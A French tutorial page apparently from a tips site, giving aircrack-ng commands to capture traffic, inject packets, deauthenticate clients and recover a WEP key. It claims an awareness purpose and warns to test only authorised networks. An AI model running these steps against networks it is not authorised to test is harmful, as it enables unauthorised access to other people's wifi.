WindowsLinux.net

~~Facebook Social Plugins~~
~~Google Adsense~~
~~Google+ Platform~~
~~LinkedIn Widgets~~
~~Twitter Button~~

Trucs et astuces sur Windows, Linux, et Internet en général.

Rechercher

Rechercher

Connexion utilisateur

Se connecter avec ...

Nom d'utilisateur ou adresse de courriel *

Mot de passe *

- Créer un nouveau compte
- Demander un nouveau mot de passe

Se connecter

Tags

More

Tweet

Sponsors

Wep

Sécurité

L'encryption d'accès Wifi par le système WEP n'est pas le meilleur système existant pour sécuriser votre connexion wifi.

Il est conseillé d'utiliser WPA, mais ce protocole à lui aussi ses failles.

Voici un petit mémo des techniques existantes. Attention vous ne pouvez faire ces test de crack wep que si vous êtes le propriétaire du réseau ou si vous avez un accord de son propriétaire ! Le piratage est un fait grave et ce tutorial n'est en aucun cas destiné à cette utilisation, il est simplement là pour vous sensibiliser à la sécurité de votre réseau.

Veuillez respecter la loi sinon vous encourez de fortes peines de prison et amendes.

Exemples

On active la carte réseau usb :

```
ifconfig rausb0 up
```

On capture les données. Options possibles "--ivs" (seulement capturer les ivs), "--channel XX", --bssid FF:FF:FF:FF:FF:FF (adresse MAC de l'AP)

```
airodump-ng --write /emplacement/fichier/de/capture rausb0
```

Générer des packets : On crée une "fake authentication" pour vérifier un possible filtrage par adresses mac. ESSID=Nom de l'AP.

```
aireplay-ng -1 0 -e ESSID -a @MAC_AP -h @MAC_client rausb0
```

Injection de packets pour générer des IVs :

```
aireplay-ng -3 -e ESSID -b @MAC_AP -h @MAC_client rausb0
```

Variante :

Utiliser aireplay-ng pour qu'il recherche des paquets de 68 bytes entre le client et l'Access Point.

```
aireplay-ng -2 -b @MAC_AP -d ff:ff:ff:ff:ff:ff -m 68 -n 68 -p 0841 -h @MAC_client ath0
```

On peut aider cette commande à trouver plus rapidement un paquet de 68 bytes, en forcant la reconnexion entre le client et l'Access Point :

```
aireplay-ng -0 1 -a @MAC_AP -c @MAC_client ath0
```

Tentative de décryption du mot de passe WEP en utilisant tous les fichiers .cap et .ivs avec l'option -x :

```
aircrack-ng -x *.cap *.ivs
```

Note : les dernières versions d'aircrack utilisent un nouvel algorithme de décryptage.

Nommé aircrack-ptw il suffit d'ajouter le paramètre -z à la ligne de commande d'aircrack-ng.

```
aircrack-ng -z *.cap
```

Connexion

Passage en mode managed :

```
iwconfig ath0 mode managed
```

Configuration de la clef wep :

```
iwconfig ath0 key xx:xx:xx:xx:xx:xx
```

Liens / Références

http://www.tutofr.com/tutoriaux/tutorial-crack-wep-aircrack.php

http://www.i-hacked.com/content/view/231/42/

Tags: WEP / WPA
802.11
Wifi

Sponsors